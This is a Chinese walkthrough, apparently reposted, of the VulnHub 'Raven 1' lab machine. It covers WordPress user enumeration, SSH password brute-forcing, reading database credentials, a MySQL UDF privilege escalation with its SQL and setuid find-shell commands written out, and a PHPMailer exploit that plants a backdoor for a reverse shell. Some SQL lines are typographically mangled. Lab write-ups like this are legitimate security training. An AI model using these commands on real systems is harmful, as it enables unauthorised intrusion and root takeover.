raven靶机
Posted bingtang123
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了raven靶机相关的知识,希望对你有一定的参考价值。
仅供个人娱乐
靶机信息
Raven 下载地址:https://www.vulnhub.com/entry/raven-1,256/
一、主机探测
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-b90ecfedbe56c496.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
端口信息
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-5cba101f41e19ba0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
目录扫描
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-55c5cdbc37ac9f9b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
80端口
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-31333ba8c92be58e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
根据页面开始搜寻有用的信息
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-03626836e9cd1a6d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-bdf3cdf304791fb8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
得到信息
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-54a93bb88a2b68c5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
Wpscan漏洞利用
右上角BLOG ,会发现是 WordPress 系统。于是使用 WPScan 进行扫描
wpscan --url http://192.168.204.131/wordpress/ -ep -et -eu
-ep 枚举插件信息
-et 扫描主题
-eu 枚举用户
结果的到wordpress目录 用户等 用户有steven 和michael
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-2285d5947e0526c8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-a8bd10d05868945c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
发现靶机上的两个用户名:steven 和michael
使用ssh爆破 密码使用rockyou.txt
(重置虚拟机 ip改为 192.168.204.131)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-479032ad6eeb0be7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
将文件复制到root目录 并且解压
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-32b95a55862cafd2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-9e10b60474eb2e4a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用弱口令michael/michael 尝试登陆ssh
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-bfbe900c6e85e985.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
查看是否能用sudo提权,内核提权等等
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-6e9aa41f985964b5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-59e614003350a813.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
一步一步 寻找有用信息
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-b54b9b713dec379d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
查看wp-config.php,发现mysql用户名以及密码 root/R@v3nSecurity
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-e453b6c7f042bd31.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
netstat -anpt
查看开放的端口,发现开放3306
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-b6c45547db2fa710.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
进入数据库
root/R@v3nSecurity
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-be78824c15857a48.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
信息收集
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-d7db2adc113021ac.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-857f6e20b351e5f9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-2963b8a87482733d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
cmd5 破解
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-b8a9b2d472e4d02f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
ssh登录
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-a66af4ee154ecdeb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
使用sudo python -c ‘import pty;pty.spawn("/bin/bash")’ 绕过限制,获得管理员权限
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-219bb378d1dfc446.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
mysql udf 提权
ps -ef | grep mysql
ps -ef是以全格式显示当前所有的进程
grep 命令用于查找文件里符合条件的字符串
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-e79263c67ed20930.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
查看mysql udf漏洞的利用exp
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-db0364d9839c4c72.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
进入kali apache的根目录
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-9543bdb19f8aebe0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
将文件复制到html目录
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-c843a5be7e3f1050.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
进行编译
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-f8e3987108fa42cb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
靶机切换tmp目录
靶机wget下载 kali编译生成的1518.so
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-105bd1fe36003658.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
连接数据库
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-b053d776cbf29aba.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
use mysql;
create table foo(line blob);
insert into foo values(load_file(‘/tmp/1518.so‘));
select*fromfoo into dumpfile‘/usr/lib/mysql/plugin/1518.so‘;
create function do_system returns integer soname‘1518.so‘;
select*from mysql.func;
selectdo_system(‘chmod u+s /usr/bin/find‘);
exit
touch finn
find finn -exec"/bin/sh" ;
whoami
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-e60f8bcbbb98ecf1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-3f3ef331674659c2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-901d3445ef1e0c93.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-f51792c36de99b9f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
获得权限成功
打开http://192.168.204.131/vendor/
根据网页查找有用信息
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-3adb2356989a6579.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-e60d1c6bf1831a0d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
searchsploit PHPMailer查看是否有漏洞,发现有漏洞利用脚本
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-840b8e13c9eef1f0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
复制到 /root
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-75243b13568793b5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
修改文件
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-4ccea107e21e24ff.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-feb77c5696016655.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
(个人电脑问题,kali安装pip3,pip3 install requests-toolbelt)
脚本更名为 1.py 将脚本放置于/root
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-360060a5c9c6e383.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
cd /root
python3 1.py
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-94e6b733f852ef06.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
访问http://192.168.204.131/contact.php
此时就会生成后门文件backlion.php
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-3a9d2ed978b107c3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
接着访问后门文件:http://192.168.204.131/backlion.php
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-05e0cca0aa8941f2.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
进行监听 获取shell
![技术图片](https://upload-images.jianshu.io/upload_images/4664072-0a718a6d26a65a7d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
以上是关于raven靶机的主要内容,如果未能解决你的问题,请参考以下文章